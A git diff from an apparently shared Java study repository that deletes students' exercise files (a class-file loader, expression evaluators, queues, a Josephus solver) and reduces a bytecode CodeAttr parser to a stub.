-                    while ((len = fis.read(buff)) != -1) {
-                        bos.write(buff, 0, len);
-                    }
-                    return bos.toByteArray();
-                } catch (Exception e) {
-                    e.printStackTrace();
-                }
-            }
-        }
-        return null;
-
-    }
-
-
-    public void addClassPath(String path) {
-        clzPaths.add(path);
-    }
-
-
-    public String getClassPath() {
-        StringBuilder sb = new StringBuilder();
-        for (int index = 0; index < clzPaths.size(); index++) {
-            sb.append(clzPaths.get(index));
-            sb.append(";");
-        }
-        return sb.toString().substring(0, sb.length() - 1);
-    }
-
-
-}
diff --git a/group24/315863321/src/main/java/jvm/loader/Directory.java b/group24/315863321/src/main/java/jvm/loader/Directory.java
deleted file mode 100644
index 98f239434d..0000000000
--- a/group24/315863321/src/main/java/jvm/loader/Directory.java
+++ /dev/null
@@ -1,81 +0,0 @@
-package jvm.loader;
-
-import java.io.File;
-import java.io.FilenameFilter;
-import java.util.ArrayList;
-import java.util.Iterator;
-import java.util.List;
-import java.util.regex.Pattern;
-
-/**
- * Created by john on 2017/4/17.
- *
- * @// TODO: 2017/4/20  实现 List.addAll(), list implements Iterable
- */
-public final class Directory {
-
-    public static File[] local(File dir, final String regex) {
-        return dir.listFiles(new FilenameFilter() { // 文件过滤接口
-            private Pattern pattern = Pattern.compile(regex);
-
-            @Override
-            public boolean accept(File dir, String name) {
-                return pattern.matcher(new File(name).getName()).matches();
-            }
-        });
-    }
-
-    public static File[] local(String path, final String regex) {
-        return local(new File(path), regex);
-    }
-
-    public static class TreeInfo implements Iterable<File> {
-        public List<File> files = new ArrayList<>();
-        public List<File> dirs = new ArrayList<>();
-
-        @Override
-        public Iterator<File> iterator() {
-            return files.iterator();
-        }
-
-        public void addAll(TreeInfo other) {
-            files.addAll(other.files);
-            dirs.addAll(other.dirs);
-        }
-
-        @Override
-        public String toString() {
-            return "dirs: " + dirs +
-                    "\n\nfiles: " + files;
-        }
-    }
-
-    public static TreeInfo walk(String start, String regex) {
-        return recuresDirs(new File(start), regex);
-    }
-
-    public static TreeInfo walk(File start, String regex) {
-        return recuresDirs(start, regex);
-    }
-
-    public static TreeInfo walk(File start) {
-        return recuresDirs(start, ".*");// 全部
-    }
-
-    public static TreeInfo walk(String start) {
-        return recuresDirs(new File(start), ".*");// 全部
-    }
-
-    public static TreeInfo recuresDirs(File startDir, String regex) {
-        TreeInfo result = new TreeInfo();
-        for (File item : startDir.listFiles()) {
-            if (item.isDirectory()) {
-                result.dirs.add(item);
-                result.addAll(recuresDirs(item, regex));
-            } else if (item.getName().matches(regex))
-                result.files.add(item);
-        }
-        return result;
-    }
-
-}
\ No newline at end of file
diff --git a/group24/315863321/src/main/java/jvm/test/ClassFileloaderTest.java b/group24/315863321/src/main/java/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index 70d400cb28..0000000000
--- a/group24/315863321/src/main/java/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,83 +0,0 @@
-package jvm.test;
-
-import jvm.loader.ClassFileLoader;
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class ClassFileloaderTest {
-
-
-    static String path1 = "/Users/john/Documents/mygit/coding2017/group24/315863321/target/classes/jvm";
-    static String path2 = "/Users/john/Documents";
-
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testClassPath() {
-
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-        loader.addClassPath(path2);
-
-        String clzPath = loader.getClassPath();
-
-        Assert.assertEquals(path1 + ";" + path2, clzPath);
-
-    }
-
-    @Test
-    public void testClassFileLength() {
-
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-
-        String className = "EmployeeV1.class";
-
-        byte[] byteCodes = loader.readBinaryCode(className);
-
-        // 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-        Assert.assertEquals(1026, byteCodes.length);
-
-    }
-
-
-    @Test
-    public void testMagicNumber() {
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-        String className = "EmployeeV1.class";
-        byte[] byteCodes = loader.readBinaryCode(className);
-        byte[] codes = new byte[]{byteCodes[0], byteCodes[1], byteCodes[2], byteCodes[3]};
-
-
-        String acctualValue = this.byteToHexString(codes);
-
-        Assert.assertEquals("cafebabe", acctualValue);
-    }
-
-
-    private String byteToHexString(byte[] codes) {
-        StringBuffer buffer = new StringBuffer();
-        for (int i = 0; i < codes.length; i++) {
-            byte b = codes[i];
-            int value = b & 0xFF;
-            String strHex = Integer.toHexString(value);
-            if (strHex.length() < 2) {
-                strHex = "0" + strHex;
-            }
-            buffer.append(strHex);
-        }
-        return buffer.toString();
-    }
-
-}
diff --git a/group24/315863321/src/main/java/jvm/test/EmployeeV1.java b/group24/315863321/src/main/java/jvm/test/EmployeeV1.java
deleted file mode 100644
index 3fbdcef7bf..0000000000
--- a/group24/315863321/src/main/java/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package jvm.test;
-
-public class EmployeeV1 {
-
-
-    private String name;
-    private int age;
-
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;
-    }
-
-    public void setName(String name) {
-        this.name = name;
-    }
-
-    public void setAge(int age) {
-        this.age = age;
-    }
-
-    public void sayHello() {
-        System.out.println("Hello , this is class Employee ");
-    }
-
-    public static void main(String[] args) {
-        EmployeeV1 p = new EmployeeV1("Andy", 29);
-        p.sayHello();
-
-    }
-}
\ No newline at end of file
diff --git a/group24/448641125/src/com/donaldy/basic/expr/InfixToPostfix.java b/group24/448641125/src/com/donaldy/basic/expr/InfixToPostfix.java
deleted file mode 100644
index 54666845de..0000000000
--- a/group24/448641125/src/com/donaldy/basic/expr/InfixToPostfix.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package com.donaldy.basic.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Stack;
-
-public class InfixToPostfix {
-	
-	public static List<Token> convert(String expr) {
-
-		Stack<Token> opStack = new Stack<>();
-
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(expr);
-
-		List<Token> newTokens = new ArrayList<>();
-
-		for (Token token : tokens) {
-
-			if (token.isOperator()) {
-
-				while (true) {
-					if (opStack.isEmpty()) {
-						opStack.push(token);
-
-						break;
-					}
-
-					if (token.hasHigherPriority(opStack.peek())) {
-
-						opStack.push(token);
-
-						break;
-					}
-
-					newTokens.add(opStack.pop());
-
-				}
-
-
-			}
-
-			if (token.isNumber()) {
-				newTokens.add(token);
-			}
-
-		}
-
-		while (!opStack.isEmpty()) {
-			newTokens.add(opStack.pop());
-		}
-
-		
-		return newTokens;
-	}
-	
-	
-
-}
diff --git a/group24/448641125/src/com/donaldy/basic/expr/InfixToPostfixTest.java b/group24/448641125/src/com/donaldy/basic/expr/InfixToPostfixTest.java
deleted file mode 100644
index f6dda0ee18..0000000000
--- a/group24/448641125/src/com/donaldy/basic/expr/InfixToPostfixTest.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.donaldy.basic.expr;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-/**
- * Created by DonaldY on 2017/4/18.
- */
-public class InfixToPostfixTest {
-
-    @Test
-    public void test() {
-
-        String expr = "9 + 3-1 *3+10/2";
-        //Assert.assertEquals("9 3 1-3*+ 10 2/+", InfixToPostfix.convert(expr));
-
-        expr = "10-2*3+50";
-        Assert.assertEquals("[10, 2, 3, *, -, 50, +]", InfixToPostfix.convert(expr).toString());
-
-    }
-
-}
diff --git a/group24/448641125/src/com/donaldy/basic/expr/PostfixExpr.java b/group24/448641125/src/com/donaldy/basic/expr/PostfixExpr.java
deleted file mode 100644
index ec175d192c..0000000000
--- a/group24/448641125/src/com/donaldy/basic/expr/PostfixExpr.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package com.donaldy.basic.expr;
-
-
-import java.util.List;
-import java.util.Stack;
-
-/**
- * 从左到右遍历，
- * 		1. 若为数字，则入栈
- * 		2. 若为运算符，则calculate
- */
-public class PostfixExpr {
-
-	String expr = null;
-
-	public PostfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-
-
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(this.expr);
-
-		Stack<Float> numStack = new Stack<>();
-
-
-		for(Token token : tokens){
-
-			if (token.isOperator()){
-
-				Float f2 = numStack.pop();
-				Float f1 = numStack.pop();
-				numStack.push(calculate(token.toString(), f1,f2));
-
-			}
-
-			if(token.isNumber()){
-				numStack.push(new Float(token.getIntValue()));
-			}
-		}
-
-
-		return numStack.pop().floatValue();
-	}
-
-	private Float calculate(String op, Float f1, Float f2){
-		if(op.equals("+")){
-			return f1+f2;
-		}
-		if(op.equals("-")){
-			return f1-f2;
-		}
-		if(op.equals("*")){
-			return f1*f2;
-		}
-		if(op.equals("/")){
-			return f1/f2;
-		}
-		throw new RuntimeException(op + " is not supported");
-	}
-
-
-	
-	
-}
diff --git a/group24/448641125/src/com/donaldy/basic/expr/PostfixExprTest.java b/group24/448641125/src/com/donaldy/basic/expr/PostfixExprTest.java
deleted file mode 100644
index 3195c7b3b2..0000000000
--- a/group24/448641125/src/com/donaldy/basic/expr/PostfixExprTest.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package com.donaldy.basic.expr;
-
-
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-
-public class PostfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-			Assert.assertEquals(288, expr.evaluate(),0.0f);
-		}
-		{
-			//9+(3-1)*3+10/2
-			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-			Assert.assertEquals(20, expr.evaluate(),0.0f);
-		}
-		
-		{
-			//10-2*3+50
-			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-			Assert.assertEquals(54, expr.evaluate(),0.0f);
-		}
-	}
-
-}
diff --git a/group24/448641125/src/com/donaldy/basic/expr/PrefixExpr.java b/group24/448641125/src/com/donaldy/basic/expr/PrefixExpr.java
deleted file mode 100644
index aaee04d871..0000000000
--- a/group24/448641125/src/com/donaldy/basic/expr/PrefixExpr.java
+++ /dev/null
@@ -1,69 +0,0 @@
-package com.donaldy.basic.expr;
-
-import java.util.List;
-import java.util.Stack;
-
-/**
- *	从右到左遍历
- *  1. 若为数字，则入栈
- *  2. 若为符号，则calculate
- */
-public class PrefixExpr {
-
-	String expr = null;
-	
-	public PrefixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-
-
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(this.expr);
-
-		Stack<Float> numStack = new Stack<>();
-		Stack<String> opStack = new Stack<>();
-
-		for(int i = tokens.size() - 1; i >= 0  ; --i){
-			Token token = tokens.get(i);
-
-			if (token.isOperator()){
-				opStack.push(token.toString());
-				Float f1 = numStack.pop();
-				Float f2 = numStack.pop();
-				numStack.push(calculate(opStack.pop(), f1,f2));
-			}
-
-			if(token.isNumber()){
-				numStack.push(new Float(token.getIntValue()));
-			}
-		}
-
-		while (!opStack.isEmpty()) {
-			Float f1 = numStack.pop();
-			Float f2 = numStack.pop();
-			numStack.push(calculate(opStack.pop(), f1,f2));
-		}
-
-		return numStack.pop().floatValue();
-	}
-
-	private Float calculate(String op, Float f1, Float f2){
-		if(op.equals("+")){
-			return f1+f2;
-		}
-		if(op.equals("-")){
-			return f1-f2;
-		}
-		if(op.equals("*")){
-			return f1*f2;
-		}
-		if(op.equals("/")){
-			return f1/f2;
-		}
-		throw new RuntimeException(op + " is not supported");
-	}
-	
-	
-}
diff --git a/group24/448641125/src/com/donaldy/basic/expr/PrefixExprTest.java b/group24/448641125/src/com/donaldy/basic/expr/PrefixExprTest.java
deleted file mode 100644
index 435a82d8b1..0000000000
--- a/group24/448641125/src/com/donaldy/basic/expr/PrefixExprTest.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.donaldy.basic.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class PrefixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			// 2*3+4*5 
-			PrefixExpr expr = new PrefixExpr("+ * 2 3 * 4 5");
-			Assert.assertEquals(26, expr.evaluate(),0.001f);
-		}
-		{
-			// 4*2 + 6+9*2/3 -8
-			PrefixExpr expr = new PrefixExpr("- + + 6 / * 2 9 3 * 4 2 8");
-			Assert.assertEquals(12, expr.evaluate(),0.001f);
-		}
-		{
-			//(3+4)*5-6
-			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-			Assert.assertEquals(29, expr.evaluate(),0.001f);
-		}
-		{
-			//1+((2+3)*4)-5
-			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-			Assert.assertEquals(16, expr.evaluate(),0.001f);
-		}
-		
-		
-	}
-
-}
diff --git a/group24/448641125/src/com/donaldy/basic/expr/Token.java b/group24/448641125/src/com/donaldy/basic/expr/Token.java
deleted file mode 100644
index db639bcbcf..0000000000
--- a/group24/448641125/src/com/donaldy/basic/expr/Token.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.donaldy.basic.expr;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-class Token {
-	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
-	private static final Map<String,Integer> priorities = new HashMap<>();
-	static {
-		priorities.put("+", 1);
-		priorities.put("-", 1);
-		priorities.put("*", 2);
-		priorities.put("/", 2);
-	}
-	static final int OPERATOR = 1;
-	static final int NUMBER = 2;
-	String value;
-	int type;
-	public Token(int type, String value){
-		this.type = type;
-		this.value = value;
-	}		
-
-	public boolean isNumber() {
-		return type == NUMBER;
-	}
-
-	public boolean isOperator() {
-		return type == OPERATOR;
-	}
-
-	public int getIntValue() {
-		return Integer.valueOf(value).intValue();
-	}
-	public String toString(){
-		return value;
-	}
-	
-	public boolean hasHigherPriority(Token t){
-		if(!this.isOperator() && !t.isOperator()){
-			throw new RuntimeException("numbers can't compare priority");
-		}
-		return priorities.get(this.value) - priorities.get(t.value) > 0;
-	}
-	
-	
-
-}
\ No newline at end of file
diff --git a/group24/448641125/src/com/donaldy/basic/expr/TokenParser.java b/group24/448641125/src/com/donaldy/basic/expr/TokenParser.java
deleted file mode 100644
index 38d5225c4f..0000000000
--- a/group24/448641125/src/com/donaldy/basic/expr/TokenParser.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.donaldy.basic.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class TokenParser {
-	
-	
-	public  List<Token> parse(String expr) {
-		List<Token> tokens = new ArrayList<>();
-
-		int i = 0;
-
-		while (i < expr.length()) {
-
-			char c = expr.charAt(i);
-
-			if (isOperator(c)) {
-
-				Token t = new Token(Token.OPERATOR, String.valueOf(c));
-				tokens.add(t);
-				i++;
-
-			} else if (Character.isDigit(c)) {
-
-				int nextOperatorIndex = indexOfNextOperator(i, expr);
-				String value = expr.substring(i, nextOperatorIndex);
-				Token t = new Token(Token.NUMBER, value);
-				tokens.add(t);
-				i = nextOperatorIndex;
-
-			} else{
-				System.out.println("char :["+c+"] is not number or operator,ignore");
-				i++;
-			}
-
-		}
-		return tokens;
-	}
-
-	private int indexOfNextOperator(int i, String expr) {
-
-		while (Character.isDigit(expr.charAt(i))) {
-			i++;
-			if (i == expr.length()) {
-				break;
-			}
-		}
-		return i;
-
-	}
-
-	private  boolean isOperator(char c) {
-		String sc = String.valueOf(c);
-		return Token.OPERATORS.contains(sc);
-	}
-}
diff --git a/group24/448641125/src/com/donaldy/basic/expr/TokenParserTest.java b/group24/448641125/src/com/donaldy/basic/expr/TokenParserTest.java
deleted file mode 100644
index 03d3146213..0000000000
--- a/group24/448641125/src/com/donaldy/basic/expr/TokenParserTest.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package com.donaldy.basic.expr;
-
-import static org.junit.Assert.*;
-
-import java.util.List;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class TokenParserTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void test() {
-		
-		TokenParser parser = new TokenParser();
-		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
-		
-		Assert.assertEquals(300, tokens.get(0).getIntValue());
-		Assert.assertEquals("*", tokens.get(1).toString());
-		Assert.assertEquals(20, tokens.get(2).getIntValue());
-		Assert.assertEquals("+", tokens.get(3).toString());
-		Assert.assertEquals(12, tokens.get(4).getIntValue());
-		Assert.assertEquals("*", tokens.get(5).toString());
-		Assert.assertEquals(5, tokens.get(6).getIntValue());
-		Assert.assertEquals("-", tokens.get(7).toString());
-		Assert.assertEquals(20, tokens.get(8).getIntValue());
-		Assert.assertEquals("/", tokens.get(9).toString());
-		Assert.assertEquals(4, tokens.get(10).getIntValue());
-	}
-
-}
diff --git a/group24/448641125/src/com/donaldy/basic/queue/CircleQueue.java b/group24/448641125/src/com/donaldy/basic/queue/CircleQueue.java
deleted file mode 100644
index fbe5cdc6c8..0000000000
--- a/group24/448641125/src/com/donaldy/basic/queue/CircleQueue.java
+++ /dev/null
@@ -1,74 +0,0 @@
-package com.donaldy.basic.queue;
-
-/**
- * 用数组实现循环队列
- * @author liuxin
- *
- * @param <E>
- */
-public class CircleQueue <E> {
-	
-	private final static int DEFAULT_SIZE = 10;
-	
-	//用数组来保存循环队列的元素
-	private Object[] elementData = new Object[DEFAULT_SIZE] ;
-	
-	//队头
-	private int front = 0;  
-	//队尾  
-	private int rear = 0;
-    //元素个数
-    private int size = 0;
-	
-	public boolean isEmpty() {
-
-		return this.size == 0;
-        
-    }
-
-    public int size() {
-        return this.size;
-    }
-
-    
-
-    public void enQueue(E data) {
-
-        if (this.size == DEFAULT_SIZE) {
-            throw new IndexOutOfBoundsException("size() : " + this.size());
-        }
-
-        this.elementData[this.rear] = data;
-
-        this.rear = (this.rear + 1) % DEFAULT_SIZE;
-
-        this.size ++;
-
-    }
-
-    public E deQueue() {
-
-	    if (this.isEmpty()) {
-            throw new IndexOutOfBoundsException("size() : " + this.size());
-        }
-
-        E oldElement = (E) this.elementData[this.front];
-
-        this.elementData[this.front] = null;
-
-        this.front = (this.front + 1) % DEFAULT_SIZE;
-
-        this.size --;
-
-        return oldElement;
-    }
-
-    public E getElement(int index) {
-
-	    if (index < 0 || index >= DEFAULT_SIZE) {
-	        throw new IndexOutOfBoundsException("index : " + index);
-        }
-
-        return (E)this.elementData[index];
-    }
-}
diff --git a/group24/448641125/src/com/donaldy/basic/queue/CircleQueueTest.java b/group24/448641125/src/com/donaldy/basic/queue/CircleQueueTest.java
deleted file mode 100644
index f6516c7743..0000000000
--- a/group24/448641125/src/com/donaldy/basic/queue/CircleQueueTest.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.donaldy.basic.queue;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-
-
-/**
- * Created by DonaldY on 2017/4/24.
- */
-public class CircleQueueTest {
-
-    @Test
-    public void test() {
-        CircleQueue<Integer> cirQueue = new CircleQueue<>();
-
-        for (int i = 1; i <= 10; ++i) {
-            cirQueue.enQueue(i);
-        }
-
-        Assert.assertEquals(10, cirQueue.size());
-
-        for (int i = 0; i < 10; ++i) {
-            Assert.assertEquals(i + 1, (int)cirQueue.getElement(i));
-        }
-
-
-        for (int i = 0; i <= 5; ++i) {
-            Assert.assertEquals(i + 1, (int)cirQueue.deQueue());
-        }
-
-        Assert.assertEquals(4, cirQueue.size());
-
-    }
-}
diff --git a/group24/448641125/src/com/donaldy/basic/queue/Josephus.java b/group24/448641125/src/com/donaldy/basic/queue/Josephus.java
deleted file mode 100644
index 9d3d588148..0000000000
--- a/group24/448641125/src/com/donaldy/basic/queue/Josephus.java
+++ /dev/null
@@ -1,62 +0,0 @@
-package com.donaldy.basic.queue;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * 用Queue来实现Josephus问题
- * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：
- * N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死，
- * 直到最后一个人留下来
- * 该方法返回一个List， 包含了被杀死人的次序
- * @author liuxin
- *
- */
-public class Josephus {
-	
-	public static List<Integer> execute(int n, int m){
-
-		List killList = new ArrayList();
-
-		//用于存储
-		Queue<Integer> queue1 = new Queue<>();
-		//用于操作
-		Queue<Integer> queue2 = new Queue<>();
-
-		for (int i = 0; i < n; ++i) {
-
-			queue1.enQueue(i);
-
-		}
-
-		int cnt = 1;
-
-		while (true) {
-
-			if (queue1.size() < m) {
-				break;
-			}
-
-			if (cnt % m == 0) {
-
-				killList.add(queue1.deQueue());
-
-			} else {
-
-				queue1.enQueue(queue1.deQueue());
-
-			}
-
-			cnt ++;
-
-		}
-
-		while (!queue1.isEmpty()) {
-			killList.add(queue1.deQueue());
-		}
-
-
-		return killList;
-	}
-	
-}
diff --git a/group24/448641125/src/com/donaldy/basic/queue/JosephusTest.java b/group24/448641125/src/com/donaldy/basic/queue/JosephusTest.java
deleted file mode 100644
index dad206e942..0000000000
--- a/group24/448641125/src/com/donaldy/basic/queue/JosephusTest.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.donaldy.basic.queue;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-
-public class JosephusTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testExecute() {
-		
-		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
-		
-	}
-
-}
diff --git a/group24/448641125/src/com/donaldy/basic/queue/Queue.java b/group24/448641125/src/com/donaldy/basic/queue/Queue.java
deleted file mode 100644
index d504367907..0000000000
--- a/group24/448641125/src/com/donaldy/basic/queue/Queue.java
+++ /dev/null
@@ -1,62 +0,0 @@
-package com.donaldy.basic.queue;
-
-import java.util.NoSuchElementException;
-
-public class Queue<E> {
-    private Node<E> first;    
-    private Node<E> last;     
-    private int size;               
-
-    
-    private static class Node<E> {
-        private E item;
-        private Node<E> next;
-    }
-
-    
-    public Queue() {
-        first = null;
-        last  = null;
-        size = 0;
-    }
-
-    
-    public boolean isEmpty() {
-        return first == null;
-    }
-
-    public int size() {
-        return size;
-    }
-
-    
-
-    public void enQueue(E data) {
-        Node<E> oldlast = last;
-        last = new Node<E>();
-        last.item = data;
-        last.next = null;
-        if (isEmpty()) {
-        	first = last;
-        }
-        else{
-        	oldlast.next = last;
-        }
-        size++;
-    }
-
-    public E deQueue() {
-
-        if (isEmpty()) {
-        	throw new NoSuchElementException("Queue underflow");
-        }
-        E item = first.item;
-        first = first.next;
-        size--;
-        if (isEmpty()) {
-        	last = null;  
-        }
-        return item;
-    }
-
-}
diff --git a/group24/448641125/src/com/donaldy/basic/queue/QueueWithTwoStacks.java b/group24/448641125/src/com/donaldy/basic/queue/QueueWithTwoStacks.java
deleted file mode 100644
index 98496b3e77..0000000000
--- a/group24/448641125/src/com/donaldy/basic/queue/QueueWithTwoStacks.java
+++ /dev/null
@@ -1,68 +0,0 @@
-package com.donaldy.basic.queue;
-
-import java.util.Stack;
-
-/**
- * 用两个栈来实现一个队列
- * @author liuxin
- *
- * @param <E>
- */
-public class QueueWithTwoStacks<E> {
-
-    //用于存储
-	private Stack<E> stack1;
-	//用于操作
-    private Stack<E> stack2;
-
-    public QueueWithTwoStacks() {
-        stack1 = new Stack<E>();
-        stack2 = new Stack<E>();
-    }
-
-
-    public boolean isEmpty() {
-
-        return this.stack1.isEmpty();
-
-    }
-
-
-    public int size() {
-
-        return this.stack1.size();
-
-    }
-
-
-    public void enQueue(E item) {
-        this.stack1.push(item);
-    }
-
-    public E deQueue() {
-
-        if (this.size() <= 0) {
-            throw new IndexOutOfBoundsException("size : " + this.size());
-        }
-
-        while (!this.stack1.isEmpty()) {
-
-            this.stack2.push(this.stack1.pop());
-
-        }
-
-        E oldElement = this.stack2.pop();
-
-        while (!this.stack2.isEmpty()) {
-
-            this.stack1.push(this.stack2.pop());
-
-        }
-
-        return oldElement;
-
-    }
-
-
- }
-
diff --git a/group24/448641125/src/com/donaldy/basic/queue/QueueWithTwoStacksTest.java b/group24/448641125/src/com/donaldy/basic/queue/QueueWithTwoStacksTest.java
deleted file mode 100644
index 21dcd53b85..0000000000
--- a/group24/448641125/src/com/donaldy/basic/queue/QueueWithTwoStacksTest.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.donaldy.basic.queue;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-/**
- * Created by DonaldY on 2017/4/24.
- */
-public class QueueWithTwoStacksTest {
-
-    @Test
-    public void test() {
-        QueueWithTwoStacks qwStack = new QueueWithTwoStacks();
-
-        for (int i = 1; i <= 5; ++i) {
-            qwStack.enQueue(i);
-        }
-
-        for (int i = 1; i <= 5; ++i) {
-            Assert.assertEquals(i, (int)qwStack.deQueue());
-        }
-    }
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/attr/CodeAttr.java b/group24/448641125/src/com/donaldy/jvm/attr/CodeAttr.java
index 9122f3690a..6b699e6991 100644
--- a/group24/448641125/src/com/donaldy/jvm/attr/CodeAttr.java
+++ b/group24/448641125/src/com/donaldy/jvm/attr/CodeAttr.java
@@ -1,8 +1,6 @@
 package com.donaldy.jvm.attr;
 
 import com.donaldy.jvm.clz.ClassFile;
-import com.donaldy.jvm.cmd.ByteCodeCommand;
-import com.donaldy.jvm.cmd.CommandParser;
 import com.donaldy.jvm.constant.ConstantPool;
 import com.donaldy.jvm.loader.ByteCodeIterator;
 
@@ -16,23 +14,21 @@ public String getCode() {
 		return code;
 	}
 
-	private ByteCodeCommand[] cmds ;
-
-	public ByteCodeCommand[] getCmds() {
-		return cmds;
-	}
-
+	//private ByteCodeCommand[] cmds ;
+	//public ByteCodeCommand[] getCmds() {
+	//	return cmds;
+	//}
 	private LineNumberTable lineNumTable;
 	private LocalVariableTable localVarTable;
 	private StackMapTable stackMapTable;
-
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
 		super(attrNameIndex, attrLen);
 		this.maxStack = maxStack;
 		this.maxLocals = maxLocals;
 		this.codeLen = codeLen;
 		this.code = code;
-		this.cmds = cmds;
+		//this.cmds = cmds;
 	}
 
 	public void setLineNumberTable(LineNumberTable t) {
@@ -40,83 +36,21 @@ public void setLineNumberTable(LineNumberTable t) {
 	}
 
 	public void setLocalVariableTable(LocalVariableTable t) {
-		this.localVarTable = t;
+		this.localVarTable = t;		
 	}
-
+	
 	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
-		int attrNameIndex = iter.nextU2ToInt();
-		int attrLen = iter.nextU4ToInt();
-		int maxStack = iter.nextU2ToInt();
-		int maxLocals = iter.nextU2ToInt();
-		int codeLen = iter.nextU4ToInt();
-
-		String code = iter.nextUxToHexString(codeLen);
-
-
-		ByteCodeCommand[] cmds = CommandParser.parse(clzFile,code);
-
-		CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen, maxStack,maxLocals,codeLen,code,cmds);
-
-		int exceptionTableLen = iter.nextU2ToInt();
-		//TODO 处理exception
-		if(exceptionTableLen>0){
-			String exTable = iter.nextUxToHexString(exceptionTableLen);
-			System.out.println("Encountered exception table , just ignore it :" + exTable);
-
-		}
-
-
-		int subAttrCount = iter.nextU2ToInt();
-
-		for(int x=1; x<=subAttrCount; x++){
-			int subAttrIndex = iter.nextU2ToInt();
-			String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
-
-			//已经向前移动了U2, 现在退回去。
-			iter.back(2);
-			//line item table
-			if(AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)){
-
-				LineNumberTable t = LineNumberTable.parse(iter);
-				codeAttr.setLineNumberTable(t);
-			}
-			else if(AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)){
-				LocalVariableTable t = LocalVariableTable.parse(iter);
-				codeAttr.setLocalVariableTable(t);
-			}
-			else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)){
-				StackMapTable t = StackMapTable.parse(iter);
-				codeAttr.setStackMapTable(t);
-			}
-			else{
-				throw new RuntimeException("Need code to process " + subAttrName);
-			}
-
-
-		}
-
-		return codeAttr;
+		
+		
+		return null;
 	}
-
-
-	public String toString(ConstantPool pool) {
-
-		StringBuilder buffer = new StringBuilder();
-		//buffer.append("Code:").append(code).append("\n");
-		for(int i=0;i<cmds.length;i++){
-			buffer.append(cmds[i].toString(pool)).append("\n");
-		}
-		buffer.append("\n");
-		buffer.append(this.lineNumTable.toString());
-		buffer.append(this.localVarTable.toString(pool));
-		return buffer.toString();
-
-	}
-
 	private void setStackMapTable(StackMapTable t) {
 		this.stackMapTable = t;
-
+		
 	}
 
-
-}
\ No newline at end of file
+	
+	
+	
+	
+}
